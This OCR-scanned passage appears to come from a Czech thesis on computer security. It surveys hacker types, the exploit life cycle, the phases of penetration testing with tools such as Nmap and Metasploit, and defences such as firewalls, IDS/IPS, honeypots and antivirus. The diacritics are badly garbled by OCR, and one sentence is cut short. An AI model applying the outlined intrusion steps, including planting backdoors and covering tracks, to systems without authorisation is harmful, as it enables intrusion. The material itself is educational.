a prolomit ochranné prvky. Nalezené slabiny a informace nezvetejiuji

a vyuzivaji je jen pro vlastni potfebu nebo pro svého zaméstnavatele.
0 Grey Hats — pohybuji se na pomezi obou skupin, ptedchazejici skupiny

spolu v mnoha mistech souviseji a rozdil je jenom v piistupu Kk problému.
Nespokojeni zaméstnanci, insideFi — nebezpecna skupina, ktera diky
autorizovanému piistupu do vnitra systému ¢i sit€ dokdzou napachat velké
a neoCekavané skody.
Ideologicti hackeri — fanaticky zamétené skupiny internetovych aktivisti.
Script-kiddies — nejmladsi skupina hackert, ktefi si pojmenovani ,hacker” ani
nezaslouzi. Opravdovi hackefi jimi opovrhuji. Script-kiddies maji minimalni
znalosti, nebezpecné zkousi a vyuzivaji hackerské nastroje, ¢asto ani nedokaZzou

docenit jejich dopady a nasledky.

Nevyuziti dospéli hackefi — pivodni script-kiddies, ktefi nenasli své uplatnéni.
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1.4.3 Hackerské nastroje

Hackefi [1] pouZivaji softwarové nastroje (napt. prolamovace hesel, backdoors, skenery
aj.) a hardwarové néstroje (napf. pro hledani bezpecnostnich dér v ¢ipovych kartach),
s nimiz se snazi analyzovat a ovladat soucasnou technologii. Vyuzivaji i dalsi techniky
ziskavani informaci, napt. socialni inZenyrstvi. Hackerské nastroje se neustale zdokonaluji
a automatizuji, avSak uspéS$nost utoku zavisi hlavné na samotné osobé hackera, jeho

nabytych zkuSenostech a védomostech.
Vyvoj hackerskych nastroji

Historii vyvoje hackerskych nastroju Ize vidét na nasledujicim obrazku (Obr. 3).
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Obr. 3. Historie vyvoje hackerskych nastroju [1].

Prvni hackerské néstroje [1] vznikaly v osmdesatych letech minulého stoleti a byly
zaloZzeny na schopnostech hackera pochopit psychologii obsluhy poéitate a uhodnout
pouZivané heslo. Nasledovaly autoreplikujici se kddy a prolamovacée hesel, poté se
objevuji prvni skuteéné hackerské pokusy o odhaleni chyb nebo slabin systému a jejich

vyuZiti. S rozvojem siti se vyvijeji sitové protokoly a techniky vzdaleného piistupu,
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objevuji se prvni backdoors, techniky o podvrzeni nebo ukradeni sitové relace, sniffery,

spoofing paketi a zdkladni DoS utoky.

Nastroje [1] se nadale zdokonalovaly grafickym rozhranim a automatizaci nékterych
krokti. Nasledujici generace nastrojii je sofistikovanou verzi pomérné slozitych tadict
distibuovanych metod utoku, jenz umoziuji postupné fazovani utoku, zménu nebo
modifikaci utoku podle reakce cile a vzajemnou koordinaci distribuovanych nastroju.
Zaroven museji byt tyto nastroje schopny pfizptisobovat se, aby nebyly pfili§ brzo

odhaleny.
Zivotni cyklus exploitu

Zivotnost exploitu, tj. programu [1] pro vyuziti slabiny systému, neni piili§ dlouhd. Jeji
prubéh lze vidét na obrdzku (Obr. 4). Tento cyklus zadina analyzou systému
a objevenim nové slabiny pokro¢ilymi hackery, nasleduje programovani a distribuce
nastroje pro jeji zneuziti. Novy ndstroj zacinaji vyuZzivat ostatni hackefi v uzsi hackerské
komunité a dale nastroj zdokonaluji. Vysledkem je automatizovany nastroj, ktery staci
stahnout a spustit. DalSi etapou Zivotniho cyklu exploitu je jeho Siroké vyuZivani, kde si ho
nejspi§ vSimnou i dodavatelé operacnich systémi a antivirovych programti a vydaji
»patch® neboli zéplatu. Tuto zaplatu si peclivéjsi spravei systému nainstaluji, ptivodni
exploit ztraci smysl a ,,mizi“ z hackerského svéta. Protoze vSak slabin neubyva, objevi se
novy exploit a cely zivotni cyklus se opakuje. Utoénik je tedy vzdy o krok pied spravcem

systému a pravdépodobné se nikdy nepodaii, aby tomu bylo naopak.

Automatické

Ostatni hackefi exploity
vyuZivaji nastroj

Siroké vyuziti

novych exploitd Hackefi zadinaji

pouzivat nové

nastroje /_\

Programovani a distribuce
nastroje pro vyuZiti slabiny

Pokroéili hackefi
zjisti novou slabinu

systému /

Obr. 4. Zivotni cyklus exploitu [1].
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2 PENETRACNI TESTOVANI

Penetra¢ni testovani [4] je proces, pii kterém zkoumame bezpe¢nost pocitacového systému
nebo sit¢, hledame jeho slaba mista, skrz které se do né¢j snazime proniknout a ziskat nad
nim kontrolu. Penetra¢ni test je jednou z moznosti kontrolnich bezpeénostnich sluzeb,
dalSimi jsou ,red teaming“ a systémové testy. Penetracni test je podmnozinou red
teamingu, ktery je SirSi analyzou systému, kterd v sobé zahrnuje nejen pruzkumu sité,
skenovani portt, ale také i testovani internetovych aplikaci, testovani IDS, socialni utoky
a hledani dalSich bezpe€nostnich problému. Rozdil mezi penetratnimi testy a red
teamingem lze vidét na obrazku (Obr. 5). Posledni zminéné systémové testy jsou uréené
pro testovani konkrétniho systému nebo aplikace. Byvaji mnohem slozitéjsi a naro¢néjsi

nez penetraéni testovani nebo red teaming, protoze museji systém ¢i aplikaci prozkoumat

do hloubky a najit v ném kromé znamych i chyby nové.

Red teaming

Socialni atoky

PodvrZené e-maily

Penetra¢ni testovani

Kontrola fyzické bezpeénosti Skenovéni portd

Prizkum sité

Testovani vnitinich sifovych aplikaci
Exploitovani chyb

War dialing
Hled4ni hesel napsanych na liste¢ku pod klévesnici

Testovani IDS
Analyza celkové bezpe&nosti firmy

Obr. 5. Rozdil mezi penetracnim testovanim a red teamingem [4].

Testovani probiha [4] na zadost zakaznika, jenz chce vétSinou provétit bezpeénost vlastni
firemni pocitacové sité. Jelikoz je testovani pro jednotlivce dosti ¢asové narocné, provadi
test tym pracovnikil, jehoz sestava musi byt vhodné zvolena, aby pokryla kazdou c¢ast
testu. Tym by se mél skladat z technického vedouciho, ktery fidi testovani a koordinuje
jednotlivé cinnosti, dale zvedouciho tymu, ktery ma na starosti plynulost préce
a komunikaci se zakaznikem, a z fadovych ¢lend, ktefi by méli byt zkuSeni odbornici
nejméné na svou oblast testu. Tym pro testovani a vyzkum zpravidla vyuzivd svou

laboratot s mnoha stroji, pomoci kterych zkousi rizné postupy a techniky.
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Pied testem [4] jakékoliv cizi sité jsou dulezité dvé véci. Za prvé, zakaznik musi dobie
chépat, jaké testy se budou provadét a jaké situace pfi testovani mohou nastat. Je
samoziejmé, Ze test bude probihat s veSkerou opatrnosti, ale nékteré exploity mohou
zranitelné systémy zaseknout nebo restartovat. Zakaznik proto musi védét, jaké by mohlo
mit testovani dopady na jeho sit’ a podle toho se rozhodnout, jestli provést testy naptiklad
mimo pracovni dobu. Také bychom méli se zakaznikem probrat cile testu, které jsou pro
podrobnou smlouvu a dokument, ve kterém se popiSe rozsah testi a konkrétni ukoly. Tyto
dokumenty slouzici k ochrané testovaciho tymu by mély byt napsané nebo schvalené

pravnikem, nejlépe odbornikem na pocitacové pravo.

2.1 Definice penetracniho testu

Penetracni testovani [4] je proces etického hackingu, pfi kterém se snazime ohledat cil,
odhalit jeho slaba mista, zneuzit je pro ziskani pfistupu do systému az po jeho uplnou
kontrolu. Konec¢nou fazi penetracniho testu je pfedani dokumentu s vysledkem testu
zakaznikovi, kde jsou sepsany nalezené slabiny a také doporueni s navrhovanymi
protiopatienimi. Penetracni test [23] nevyfeSi zakaznikovi bezpecnost jeho sit¢ nebo
systému, slouZi pouze jako kontrolni nastroj a jeho ucelem je [4] hlavné pomoc zlepsit
bezpecnost zdkaznikovi sité nebo systému. Penetraéni test ma tu vyhodu, Ze se provadi tak,
jak by postupoval skute¢ny utoénik. Ovsem skuteény tto¢nik ma na rozdil od testovaciho
tymu ,,neomezeny* ¢as na prizkum svého cile. Muze tedy odhalit slabiny, které penetracni

test objevit nemusi.

Kdy je vhodna doba [23] na provedeni penetra¢niho testu? Odpovéd je jednoducha:
Kdykoliv! Da se fict, ze neexistuje okamzik nevhodny pro provedeni penetra¢niho testu.
Ale jsou jist¢ momenty, kdy je penetracni test predCasny. Naptiklad pokud sit' neni
v definitivnim stavu, nebo pokud v brzké dobé planujeme néjaky upgrade zafizeni nebo

softwaru apod.

S penetra¢nim testovanim [24] souvisi i pojem ,,bezpecnostni audit”. Bezpec¢nostni audit je
bezpecnostni kontrolni sluzba stejné jako penetracni testovani, ale provadi se fyzicky
piimo na testovaném zatizeni. BezpecCnostni audit je zhodnoceni stavu bezpecnosti vici
vybranému etalonu (volba etalonu podle doporuceni vyrobct, nezavislych organizaci NSA

a CERT, nebo podle zkuSenosti z praxe). Bezpecnostni audit je provadén fyziky piimo na
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zkoumaném zafizeni a srovnavame jej na technologické trovni s etalonem. Vysledkem
bezpecnostniho auditu je detailni zhodnoceni konfigurace zkoumanych zafizeni napf.
servert, firewalll, aj. Bezpecnostnim auditem zjistime to, co penetracni test neodhali,
napf. nedostatecna fyzickd bezpeCnost, nastaveni piistupovych prav, pravidla fizeni
pristupu apod. Ale naopak bezpecnosti audit neodhali implementacni chyby, které hleda
praveé penetracni test. Penetraéni test a bezpec¢nostni audit jsou tedy bezpe¢nostni kontrolni

sluzby, které se vzajemné dopliuji.

2.2 Varianty penetrac¢niho testu

Varianty penetra¢nich testti [23] 1ze rozd¢lit podle testovaného prostiedi:
- Externi — provéfeni bezpeénosti testovaného systému proti utoku z Internetu.

- Interni — provéteni bezpecnosti vnitini sit¢ a zafizeni proti utoku zevnitf
spolecnosti (napt. nespokojeny zaméstnanec €i jiny subjekt s pfistupem k vnitini
siti).

Podle mnozstvi poskytovanych informaci [23] d€lime penetracni test:

- Bez znalosti prostfedi — ze strany zakaznika nedostanete Z&dné informace
o cilovém systému nebo siti. Informace se ziskavaji stejnym zptsobem, kterym by
postupoval skute¢ny utocnik (tzn. z vysledkl prizkumu, vetejné dostupnych zdroji

apod.)

- Se znalosti prostiedi — pred testem dostaneme od zakaznika detailni informace

a seznamime se s testovanym systémem nebo siti.

Podle informovanosti subjekti [23] odpovédnych za spravu testovaného systému nebo sité

délime realizaci penetracniho testu:

- Skrytou formou - odpovédné subjekty za spravu systému ¢i sité nejsou
o penetra¢nim testu informovéany. Touto formou lze provétit 1 pravé tyto subjekty
a jejich monitorovaci a reakéni mechanismy na pfipadny prinik uto¢nika do
systému.

- Otevienou formou - odpovédné subjekty za spravu systému ¢i sit€¢ jsou

informovany o testovani jejich syst¢ému. Mohou tedy pozorovat riznou odezvu

bezpecnostnich mechanismu na pribeh penetracniho testu.
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2.3 Proces penetra¢niho testu

2.3.1 Sbér informaci

Proces penetracniho testu se sklada ze ¢tyt zakladnich €asti. Prvni z nich je sbér informaci
o cilovém systému ¢i siti. Pokud se jedna [4] o penetraéni test bez znalosti prostiedi, tedy
test, ktery by vychazel ze stejné pozice jako redlny utocnik, neméme Zzadné interni
informace o cilovém systému a veskeré informace o testovaném prostiedi si musime zjistit

sami.

Zacneme pruzkumem [4] z vetejné dostupnych zdroju, skrze internet prohledame databaze
WHOIS, ARIN, RIPE a APNIC, které obsahuji velice mnoho informaci, napt. rozsahy IP
adres, jmenné servery a jména kontaktnich osob aj. Na Internetu [5] lze nalézt firemni
stranky, stranky firemnich partnert, telefonni ¢isla, e-mailové adresy, osobni Udaje,
aktualni déni ve firmé, bezpe€nostni piedpisy, zptusob prace s citlivymi materidly,
informace z archivi apod. Také miZeme prohledavat zivotopisy zaméstnanct, ,usenet
diskuze (internetové diskuze zabyvajici se poradenstvim v oblasti IT, kde mnoho spravct

sité fesi problémy s nastavenim své sitc).

Vyuzijeme ruzné typy [5] vyhledavacéu, napt. Google (Google hacking), Yahoo, Altavista
aj. Cerpat informace lIze pomoci sociéalnich siti jako Facebook, Twitter, MySpace aj.
Moznosti, kde Cerpat informace, je opravdu cela fada. Nakonec mizeme vyuzit i nékterych
programi pro pruzkum DNS databaze (napf. program nslookup) nebo pro prizkum sité

(napf. program traceroute).

Sbér informaci by se [5] mél provadét systematicky, aby se na zadné dilezité tdaje
nezapomnélo. Sbérem informaci ziskdme z riznych zdroji seznam sitovych rozsahu, IP
adres, jmen zaméstnancl, telefonnich c¢isel, DNS serverti, poStovnich serverti apod.

Podle toho si pak miZzeme vytvofit piedstavu o tom, jak vypada cilova sit’.

V dal$im kroku nas bude zajimat, které systémy v cilové siti jsou pro nas dosazitelné a co

na nich bézi za sitové sluzby.

2.3.2 Hledani slabin

Hledani slabin [5] za¢ina skenovanim jednotlivych systému. Zakladem kazdého skenu je
zjisténi, zdali je cilovy pocita¢ dosazitelny (zivy). A jak najdeme tyto dosazitelné

pocitace? Pouzitim technik mapovani sité, jednou znich je ICMP echo neboli ping.
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Nebudeme zde popisovat, jak ping funguje, ale uvedeme si nastroje, které tuto techniku
pouzivaji. Existuji rtzné automatizované nastroje, ale zkouméni muizeme provadét
1 manudlné. Velmi uziteCnym nastrojem je Nmap (Zenmap), ktery dokédze rozeslat
hromadny ping a zjistit, které pocitace v siti jsou pro néds dosazitelné. DalSimi nastroji pro

tento ucel jsou napt. fping nebo icmpenum.

Nésledujicim krokem je nalezeni [5] sitovych sluzeb, provadi se tzv. skenovani porta
cilového pocitace. Za kazdym [4] otevienym portem se skryva néjaka sitova sluzba a tyto
sitové sluzby mohou obsahovat chyby. Pfi skenovani otevienych portli se srovnava
seznam sluzeb se seznamem znamych chyb vyskytujicich se na téchto sluzbach.
Vysledkem skenovani je seznam otevienych portil, sitovych sluzeb, které¢ na nich bézi, a
chyb, které se mohou dat zneuzit. Mezi takové nastroje skenovani portii patiéi Nessus,

Nmap (Zenmap), ISS a CyberCorp, aj.

Na zakladé [23] automatizovanych skeni se provadéji manualni testy a hlubsi zkoumani
,podezielych® nalezt, identifikuji se slabiny napi. publikované v databazich BUGTRAQ,
CVE, CERT, Full-Disclosure, ExploitTree, SecurityFocus. Béhem hledani chyb [4] se dale
snazime sbirat bannery sitovych sluzeb, identifikovat operacni systémy, odposlechnout ze
sit¢ autentizacni udaje, ziskat z informaci protokolu NetBIOS seznam sitovych jednotek
a najit nezaplatované Casti operacnich systémill.. Na rizné chyby sitovych sluzeb existuji

rizné exploity a jejich vyuZiti provadime v dalsi ¢asti penetra¢niho testu.

2.3.3 Zneuziti slabin

Pokud mame [4] seznam dosaZitelnych sytému a jejich slabin, které podle nas obsahuji
bezpecnostni diru, mizeme ji zacit zkouset zneuzit. Ke zneuZiti chyb vyuZivame rtznych
exploitl, které nalezneme na internetu napt. pomoci google hackingu. ZkuSeny hacker si
dokaZe napsat exploit sdm, exploity byvaji napsany v rtiznych programovacich jazycich
napf. Python, C, assembler aj. OvSem mlZeme opét vyuzit automatizovanych nastrojii pro
penetracni testovani, které umi nejen odhalit chyby, ale také v sobé obsahuji databazi
exploitl pro fadu zndmych chyb, které mizeme vyuzit. Mezi takové nastroje patii napft.

Metasploit Framework, Canvas, Core Impact, Retina.

Cilem tohoto kroku je prolomit obranu, co nejvétsiho poctu pocitacu, ziskat na nich, co

nejvyssi prava a tim mit ptistup ke vSem citlivym informacim.
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2.3.4 Celkové kontrola

Penetracni test kon¢i v momenté€, kdy se nam podaii ziskat nejvyssi prava na hlavnim
pocitaci (centralnim serveru), tak abychom méli plnou kontrolu nad celou siti nebo jejimi
na hlavni pocita¢ néjaky backdoor ¢i rootkit, aby mél kdykoliv k pocitaci ptistup, ziskal by

potiebné informace a nakonec by se snazil zahladit po svém praniku stopy.

2.4 Vysledek penetracniho testu

Vysledek [23] penetraéniho testu zdkaznikovi poskytne obrazek o tom, ¢eho by pii
soucasné urovni znalosti o bezpecnostnich slabinach mohl dosahnout atoc¢nik pti redlném
utoku pomoci soucasnych technickych prostredkti. Vysledkem penetra¢niho testu zjistime
miru zranitelnosti cilového systému ¢i sité, jehoz vystupem je dokument s nalezenymi
slabinami systému a doporuceni, jak tato slaba mista zabezpecit. Zakaznikovi dokument

pfedame, vysvétlime a ujistime se, Ze je mu vSe jasné.

Nevyhodou [4] penetra¢niho testu je, Ze mtze nékteré chyby piehlédnout. Proto neni dobré
propadat faleSnému pocitu bezpe¢i po opraveni nalezenych chyb, protoze v siti mohly
néjaké chyby zlstat.

v e

Vysledky testu [23] jsou nejefektivnéjsi ihned po dokonéeni penetra¢niho testu, protoze
vypovidajici hodnota vysledku penetraéniho testu s postupem casu klesa, jelikoz jsou

objevovany a publikovany nové slabiny a nové techniky praniki.
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3 ZPUSOBY AKTIVNI OBRANY

Bezpecnost pocitacového systému [25] je neustaly proces, ve kterém plati cyklus PDCA
neustalého zdokonalovani, ktery je zobrazen na obrazku (Obr. 6). Tento model neplati jen
Vv oblasti bezpecnosti, ale vyuziva se prakticky ve vSech oborech (managment, logistika,
marketing, vyroba aj.). Zkratka PDCA znamena anglicky plan, do, check, act (Cesky
planuj, proved’, kontroluj, jednej). Model popisuje, Ze nestaci jen zabezpecit a opravit
chyby systému, bezpeCnost se musi stidle zdokonalovat, jelikoz vznikaji stal¢ nové
zranitelnosti, proti kterym se musi opét jednat a provadét dalsi a dal§i bezpecnostni
opatfeni. Model PDCA je soucasti kazdého ISMS (Information Security Management

System), tj. systému fizeni bezpecnosti informaci.

Stanoveni politiky a rozsahu ISMS
Identifikace aktiv

Identifikace a hodnoceni rizik
Stanoveni Bezpecnostni politiky aj.

/ PLAN
Rizeni neshod
Rizeni zdroji

‘Vyhodnocovani kontrol a auditi ACT
Népravné a preventivni opatfeni $koleni .

Plénovéni a zlepSovani ISMS aj. Zvladani rizik aj.
k CHECK J

Provadéni kontrol a test
Monitorovéani a méfeni
Provozni kontroly

Interni a externi audity aj.

Implementacc a provoz

Obr. 6. Princip PDCA modelu v ISMS [25].

ISMS je [26] dokumentovany systém, ve kterém jsou chranéna definovana informaéni
aktiva, jsou fizena rizika bezpe€nosti informaci a zavedend opatfeni jsou kontrolovéna.

K ochrané informaci slouzi nasledujici zptisoby zabezpeceni pocitacového systému.
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3.1 Firewally

Firewall je jiz nezbytnou nutnosti [2] zabezpeeni pocitace. Firewall je nastroj, jenz
odd€luje chranénou sit’ od nechranéné a nabizi zdkladni zabezpecfeni systému pii piipojeni
K internetu. Je to hardwarové nebo softwarové zafizeni, sledujici a pfipadné blokujici

provoz pocitace (serveru) a to zejména ve smeru z internetu do pocitace a opacné.

Princip préce firewallu spociva v hlidani ptistupu z/do pocitace, pokud se néjaky program
pokousi o takovyto piistup (spusSténi programu apod.), zobrazi firewall dotaz s tim, co
vlastné¢ chceme ud¢lat (Povolit pfistup, Zakazat ptistup nebo Vytvoftit pravidlo pro tuto
komunikaci a pfisté se nedotazovat). Takto si lehce miizeme nastavit, jaké sluzby chceme
pouZivat, tj. jaké porty chceme nechat oteviené a ostatni porty ponechat kvili bezpeénosti
rad¢ji zaviené. V pocitaci bychom méli pouzivat pouze jeden firewall, aby nedochazelo ke
kolizim. M¢l by byt [5] dobie navrZzeny, nastaveny a spravovany, pak je ho velice té¢zké

pro utoc¢nika prekonat.

Existujici typy firewalli [5] jsou: paketové filtry, aplika¢ni brany (proxy), stavové
paketové filtry, stavové paketové filtry s kontrolou protokoli a IDS. Na trhu pievladaji
firewally typu aplikacni proxy, paketové filtry a pfipadné¢ kombinace obou. Aplikacni
se pouzivaji predev§$im pro omezeni odchoziho sitového provozu. Naproti tomu stavové
paketové filtry svym vykonem velice dobie zvladaji obousmérné filtrovani sitového

provozu.

Mezi kvalitni softwarové firewally patii napt. McAfee Security Center, ESET Smart
Security, Comodo Internet Security, Sunbelt Personal Firewall, AVG Internet Security,

ZoneAlarm, Norton Internet Security, Kaspersky Internet Security aj.

3.2 IDS a IPS systéemy

Systemy detekce naruSeni (Intrusion detection systems, IDS) a systémy prevence proti
narudeni (Intrusion Prevention Systems, IPS) jsou [3] ¢asti silné obranné strategie. Tisice
spolecnosti tyto systémy uz pouzivaji a v budoucnu se jejich pocet bude urcité stale
zvySovat. Tyto systémy by se daly charakterizovat takto: firewall l1ze volné srovnat se
zamCenymi dveimi do naseho domu, detekci naruseni s alarmnim systémem a prevenci

proti naruSeni s hlidacimi psy. Firewall, IDS a IPS jsou tedy rizné technologie, které spolu
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mohou spolupracovat a tim poskytnout v siti, jak vyrozuméni o naruseni, tak prevenci proti

nému. Zabezpedeni sité hodné ovlivituje jejich spravné rozmisténi v siti.
Systemy detekce naruseni (IDS)

IDS je [3] soubor nastroji, metod a zdroji, které nam pomahaji identifikovat, zpfistupnit
a hlasit neautorizované a neschvalené sitové aktivity. IDS detekuji takové aktivity
v provozu, které mohou nebo nemusi byt naruSenimi. Detekce narueni je tedy jednou
z casti celkového ochranného systému, ktery je instalovan na néjakém systému nebo

zafizeni, neni to tedy samotné ochranné opatieni.

IDS pracuje [3] vsitové vrstvé OSI modelu a pasivni sitové senzory jsou typicky
umist'ovany do regulacnich bodl (choke points) sité. Zde se prochéazejici pakety analyzuji,
zda nejsou v sitovém provozu ptitomny specifické vzory. Jestlize je shledano, ze takovyto
vzor se zde vyskytuje, zaznamend se do souboru vystraha a v zavislosti na téchto datech
mize byt ucinéna odpovidajici odezva. Systémy IDS jsou podobné antivirovému
programu, ve kterém se uZivaji znamé signatury za ucelem rozeznani potencialné

zhoubnych provoznich vzort.

IDS se deli [3] na tii typy: uzlové orientované systémy detekce naruseni (host-based
intrusion detection systems, HIDS), sitové orientované systémy detekce naruseni
(network-based intrusion detection systems, NIDS) a hybridy téchto dvou. HIDS analyzuji
udalosti odehravajici se na uzlovém systému (aktivity systémového a udalostniho logu)
a NIDS jsou zpravidla zatazeny sériové do sit¢ a analyzuji sitové pakety (peClivé

rekonstruuji bitovy proud a analyzuji pfitomnost vzort zdvadného chovani).

IDS pasivné [3] sbiraji data, predzpracovavaji a klasifikuji je. Na zaklad¢ statistické
analyzy stanovuji, zda informace spadad mimo ramec normalni ¢innosti a v ptipadé, Ze to je

tento ptipad, porovnava je s databazi znalosti a je-li nalezené shoda, generuje se vystraha.
Systémy prevence proti naruseni (IPS)

IPS systémy [3] jsou proaktivni bezpecnostni systémy. Systém prevence proti naruseni je
zpravidla umistén v siti a monitoruje ji. KdyZz se odehraje né&jakd udalost, pfijme se
opatieni dle pifedepsanych pravidel. IPS byl sice vyvinut z IDS, ale jsou to odlisne

bezpetnostni produkty lisici se ve funkcionalité a sile.

IPS systémy [3] mohou byt opét uzlove orientované HIPS (nejlépe pracujici v ochrannych

aplikacich) nebo sitoveé orientované (NIPS). Uzivatelské c¢innosti by mély odpovidat
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¢innostem v preddefinovanych znalostnich databazich. Jestlize néjakéd Cinnost neni
v akceptacnim seznamu, IPS ji zabrani uskutecnit. Na rozdil od IDS se logika v IPS
typicky aplikuje pfedtim, nez je provedena v paméti. Dal§i metody IPS porovnavaji
kontrolni soucty souborii s dobfe znamymi kontrolnimi soucty v seznamech jesté predtim,
nez je povoleno tyto soubory spustit a pracovat s pozastavenymi systémovymi volanimi.
IPS se skladd zpravidla ze Ctyf Casti: Normalizator provozu (pieruSuje sitovy provoz,
provadi analyzu a znovuslozeni paketil), monitor sluzeb (vytvaii referencni tabulku
a klasifikuje informaci pro tvarovaci cast), detekéni jednotka (porovnava signalové vzory
s referen¢ni tabulkou a stanovuje ptisluSnou odpovéd’) a provozni tvarovaci ¢ast (fidi tok

informaci).

IDS a IPS jsou [3] velmi dulezité, protoze maji vétsi ucinnost v detekci naruseni (téméf
Vrealném cCase), nez muze byt dosazeno ruc¢né. Poskytuji hlubokou bazi znalosti
a zabudovanou forenzni podporu (poskytnuti soudnich dikazt). Dokazou kvantifikovat
utoky, pomahaji zabezpecovat ochranu sit¢ a aplikacni vrstvy, koreluji a ohodnocuji
platnost informaci z ostatnich zatizeni (napf. antivirovych programu, firewalld, routert).
IDS a IPS jsou tedy néstroje, které by mély byt vyuzity v silném bezpe¢nostnim programu

Vv Zavislosti na peclivé analyze rizik.

3.2.1 Honeypoty

Honeypot (¢esky medovy hrnec) [27] neboli lakadlo je peélivé sledovana navnada v siti
(server), ktera slouzi k nékolika ucelim: odvadi pozornost utoéniki od dileZitych
pocitacovych systémul v siti, poskytuje v€asné varovani pied Utokem, sbird informace
o uto¢nikovi, novych typech U(tokd, zranitelnosti, praniki a dovoluje analyzovat

uto¢nikovy metody pted, béhem a po zneuziti honeypotu.

Uto¢nikovi [28] se honeypot jevi jako b&zny realny server (zpravidla méné zabezpedeny),
honeypot ma spusténé ruzné sluzby (oteviené a zaviené porty) a snazi se byt pro uto¢nika
né¢im zajimavy (obsahuje faleSnd ,hodnotnd“ data). Tento honeypot je monitorovan
néjakym IDS nebo IPS, ktery sbird data o postupech, taktice a strategii, kterou uto¢nik
zkousi na ono ladkadlo. Nasbirané informace o tuto¢nikovi mohou pomoci k jeho
vystopovani a pfipadnému soudnimu jednani. Stejnym zplUsobem také muzeme sluzeb

honeypotl vyuzit proti nejriznéj$im viram, ¢ervim a dalSimu Skodlivému softwaru, ktery
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honeypot snadno zachyti a nasledné analyzuje. Toto vSechno pak umozni ziskat lepSi

podklady pro zlepSeni bezpecnostni politiky.

Honeypoty jsou [27] vysoce flexibilni bezpecnostni nastroje s riznymi bezpec¢nostnimi
aplikacemi a jsou dilezitym doplitkem bezpecnostniho systému. Nefes$i jen jeden typ
problému, ale maji mnohostranné vyuziti, slouzi k prevenci, odhalovani nebo
shromazd’ovani informaci. V8echny honeypoty nasazené v siti maji stejny koncept: maji
slouzit jako bezpec¢nostni zdroj informaci a kazdy honeypot by mél byt dobte odfiltrovan,

aby skrz n¢j nebylo mozno ohrozit dilezité ¢asti sité.
Existuji [27] dva hlavni typy honeypoti:

- Produkéni honeypoty (Production Honeypots) — snadnéjsi implementace
a obsluha, sbiraji pouze urcité informace a vyuzivaji se predevs§im ve firmach. Jsou
umistény piimo ve firemni siti s ostatnimi servery. Cilem je zmirnéni rizika

a zlepSeni celkové bezpecénosti firemni sité.

- Vyzkumné honeypoty (Research honeypots) — slozitéjsi implementace a obsluha,
sbiraji vice a podrobnéjsi informace nez produkéni honeypoty. Jsou pouzivany
predev§im vzdélavacimi institucemi, vyzkumnymi, vojenskymi nebo vladnimi
organizacemi. Slouzi k ziskavani informaci o motivech a taktikdch komunity
Blackhat hackerii. Neslouzi pfimo konkrétni organizaci, ale poskytuji informace

riznym organizacim, aby se mohli 1épe chranit vi¢i novym hrozbam.

Mezi nejrozsitenéjsi [28] multiplatformni open-source aplikace tohoto druhu patii napf.

Honeyd.

3.3 Antiviry

Dalsi dilezitou ¢asti bezpecnosti pocitace [2] je pouzivani ochrany proti virim. K tomuto
ucelu slouzi antivirovy program a ten by mél mit ur¢ité dulezité vlastnosti. Zakladni
vlastnosti musi byt moznost aktualizace (nové viry vznikaji neustale), tj. update
(aktualizace virové baze pro rozpoznavani virovych fetézcll) a upgrade (modernizace
daného programu). Antivirovy program musi byt rezidentni (tj. stale zapnuty), ktery
neustale hlida a kontroluje spravnost provadénych operaci. Mezi zakladnimi ¢innostmi
téchto programu by nemélo chybét ani vyhleddvani a skenovani viri, heuristicka analyza

a kontrola integrity. Pro mnohé je také dulezita cena téchto programi. U komerénich
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produktii vSak zpravidla plati, Ze nabizi vy$si Groven poskytovanych sluzeb. I pies dohled
antivirového programu nesmime zapominat na pravidelnou kontrolu pocitace, stahovanych

dat z internetu a veSkerych médii, kterd do pocitace vkladame.

Mezi kvalitni antivirové programy [2] patii napf. Microsoft Security Essentials, avast! Free
Antivirus, NOD32 AntiVirus, AVG Anti-Virus, Avira AntiVir aj. Kromé plnohodnotnych
antivirovych programi lze také pouzit néktery z jednorazovych odvirovacu, které jsou
specializované na nalezeni pouze urCitych viri, napi. Avast! Virus Cleaner, McAfee

AVERT Stinger, Malicious Software Removal Tool aj.

3.4 Antispywarové (antiadwarove) nastroje

Antispywarové (antiadwarové) nastroje patii do bezpeCnostni vybavy naSeho podéitace
stejné jako antivirovy program. Jejich ucelem je odstranéni veSkerého Skodlivého softwaru
(malwaru). Kvalitni antispywarovy nastroj by mél mit opét rezidentni ochranu

a moznost aktualizaci.

Mezi kvalitni antispywarové (antiadwarove) programy patii Spybot Search and Destroy

a Ad-aware SE Personal, Microsoft AntiSpyware, SpywareGuard aj.

3.5 Zvyseni pocita¢ové gramotnosti uzivateli

Pocitatova gramotnost uzivateltd [1] hraje zé&sadni roli v bezpeénosti pocitacového
systému. Pokud je uzivatel pouéeny jak se Vvriznych piipadech zachovat, pak je
pravdépodobnost pocitatové infiltrace vyrazné¢ snizena. Kazdd firma by méla mit
V bezpecnostni politice zahrnutou cast vénovanou Skoleni zaméstnancti a stanoveni

bezpeénostnich pravidel a jejich disledné dodrzovani.

Pokud se jedna o bézné domdci uzivatele, i ti by méli vénovat uréity ¢as prostudovani
néjaké literatury o bezpe€nosti domaciho pocitace. Takovato literatura se nachazi jak
v knihovné, tak i na internetu, kde Ize nalézt mnoho rad, jak zabezpecit sviij pocitac a jak

s nim bezpec¢né pracovat.
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II. PRAKTICKA CAST
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4 REALIZACE PENETRACNIHO TESTU

Nasim cilem bude realizace penetracniho testu, ktery by mél odhalit chyby zabezpeceni
pocitacové sité, které by mohly byt zneuzity riznymi typy pocitatovych ttokt. Penetra¢ni
test bude proveden v prostiedi domaci bezdratové sité a bude zkoumat zabezpeceni
jednotlivych pocitac.

Pokusime se zjistit slabiny nezabezpecené¢ho a zabezpeceného pocitace, nalezené slabiny
zneuZit a ziskat nad pocita¢i kontrolu. Vysledkem tohoto penetra¢niho testu bude seznam
objevenych slabin, moznosti jejich zneuziti a doporuc¢eny ndvrh jejich zabezpeceni.
Rovnéz srovname pribéh penetracniho testu mezi zabezpeCenym a nezabezpecenym
pocitacem.

Penetracni test bude probihat jako interni, tj. z hlediska vnitiniho uto¢nika (insidera).
Nebudeme se tedy zajimat o piistup do bezdratové sité, jak by tomu bylo pii externim
penetracnim testu, kde bychom museli vyuzit specidlniho technického zatizeni (sitové wifi
karty se specidlni Cipovou sadou s podporou monitorovaciho rezimu, injekce paketil
a promiskuitniho rezimu), kterym bychom po odposlechnuti dostate¢ného mnozstvi

specifickych paketa cilové sité a jejich analyze odhalili pouzity Sifrovaci kli¢.
Struktura domaci sité

Zapojeni domaci sité je zobrazeno na obrazku (Obr. 15), kde je k Internetu domaci sit’
